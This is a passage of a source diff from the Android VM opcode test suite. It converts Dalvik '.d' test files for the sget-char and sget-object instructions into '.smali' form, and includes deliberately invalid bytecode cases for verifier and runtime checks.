+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_3.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v3, Ldot/junit/opcodes/sget_char/d/T_sget_char_3;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_4.d
deleted file mode 100644
index 9aeb10d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_4.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_4
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.d.T_sget_char_4.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_4.smali
new file mode 100644
index 0000000..2fe5687
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_4.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_4;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_5.d
deleted file mode 100644
index fe1c7ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_5.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_5
-.super java/lang/Object
-
-.field public i1 C
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const v2, 77
-       iput-char v2, v3, dot.junit.opcodes.sget_char.d.T_sget_char_5.i1 C
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.d.T_sget_char_5.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_5.smali
new file mode 100644
index 0000000..255251b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_5.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_5;
+.super  Ljava/lang/Object;
+
+.field public i1:C
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const v2, 77
+       iput-char v2, v3, Ldot/junit/opcodes/sget_char/d/T_sget_char_5;->i1:C
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_5;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_6.d
deleted file mode 100644
index f984ada..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_6.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.TestStubs.TestStubField C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_6.smali
new file mode 100644
index 0000000..8002da1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_6.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/TestStubs;->TestStubField:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_7.d
deleted file mode 100644
index d7b5e35..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_7.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.d.T_sget_char_7no_class.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_7.smali
new file mode 100644
index 0000000..ae81db9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_7.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_7no_class;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_8.d
deleted file mode 100644
index 89ac2c8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_8.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.d.T_sget_char_8.i1N C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_8.smali
new file mode 100644
index 0000000..baa0bc3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_8.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_8;->i1N:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.d
deleted file mode 100644
index cbb4a54..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source StubInitError.java
-.class public dot.junit.opcodes.sget_char.d.StubInitError
-.super java/lang/Object
-
-.field public static value C
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/4 v0, 0
-       const/4 v1, 1
-       div-int/2addr v1, v0
-
-       const v1, 1
-       sput-char v1, dot.junit.opcodes.sget_char.d.StubInitError.value C
-       return-void
-.end method
-
-
-.source T_sget_char_9.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.d.StubInitError.value C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.smalis/StubInitError.smali
new file mode 100644
index 0000000..c3ce384
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.smalis/StubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_char/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:C
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x1
+
+    div-int/2addr v1, v0
+
+    const v1, 0x1
+
+    sput-char v1, Ldot/junit/opcodes/sget_char/d/StubInitError;->value:C
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.smalis/T_sget_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.smalis/T_sget_char_9.smali
new file mode 100644
index 0000000..8c89b69
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_9.smalis/T_sget_char_9.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_char/d/T_sget_char_9;
+.super Ljava/lang/Object;
+.source "T_sget_char_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()C
+    .registers 3
+
+    sget-char v1, Ldot/junit/opcodes/sget_char/d/StubInitError;->value:C
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_1.d
deleted file mode 100644
index e77f532..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_1.d
+++ /dev/null
@@ -1,51 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_1.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_1
-.super java/lang/Object
-
-.field public static i1 Ljava/lang/Object;
-.field protected static p1 Ljava/lang/Object;
-.field private static pvt1 Ljava/lang/Object;
-
-.method static <clinit>()V
-.limit regs 1
-       const v0, 0
-       sput-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_1.i1 Ljava/lang/Object;
-
-       const v0, 0
-       sput-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_1.p1 Ljava/lang/Object;
-
-       const v0, 0
-       sput-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_1.pvt1 Ljava/lang/Object;
-
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       sget-object v1, dot.junit.opcodes.sget_object.d.T_sget_object_1.i1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_1.smali
new file mode 100644
index 0000000..b0543e5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_1.smali
@@ -0,0 +1,63 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_object/d/T_sget_object_1;
+.super Ljava/lang/Object;
+.source "T_sget_object_1.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+.field protected static p1:Ljava/lang/Object;
+
+.field private static pvt1:Ljava/lang/Object;
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 1
+
+    const v0, 0x0
+
+    sput-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;->i1:Ljava/lang/Object;
+
+    const v0, 0x0
+
+    sput-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;->p1:Ljava/lang/Object;
+
+    const v0, 0x0
+
+    sput-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;->pvt1:Ljava/lang/Object;
+
+    return-void
+.end method
+
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;->i1:Ljava/lang/Object;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_11.d
deleted file mode 100644
index 54e497c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_11.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_11
-.super dot/junit/opcodes/sget_object/d/T_sget_object_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_object/d/T_sget_object_1/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       sget-object v1, dot.junit.opcodes.sget_object.d.T_sget_object_1.p1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_11.smali
new file mode 100644
index 0000000..e72bb6b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_11.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_11;
+.super  Ldot/junit/opcodes/sget_object/d/T_sget_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;->p1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_12.d
deleted file mode 100644
index b73c407..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_12.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_12
-.super dot/junit/opcodes/sget_object/d/T_sget_object_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_object/d/T_sget_object_1/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       sget-object v1, dot.junit.opcodes.sget_object.d.T_sget_object_1.pvt1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_12.smali
new file mode 100644
index 0000000..cf74579
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_12.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_12;
+.super  Ldot/junit/opcodes/sget_object/d/T_sget_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_1;->pvt1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_13.d
deleted file mode 100644
index 37a8cb5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_13.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_13
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_13.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_13.smali
new file mode 100644
index 0000000..2defde1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_13.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_13;->i1:Ljava/lang/Object;
+       return-void
+.end method
+
+
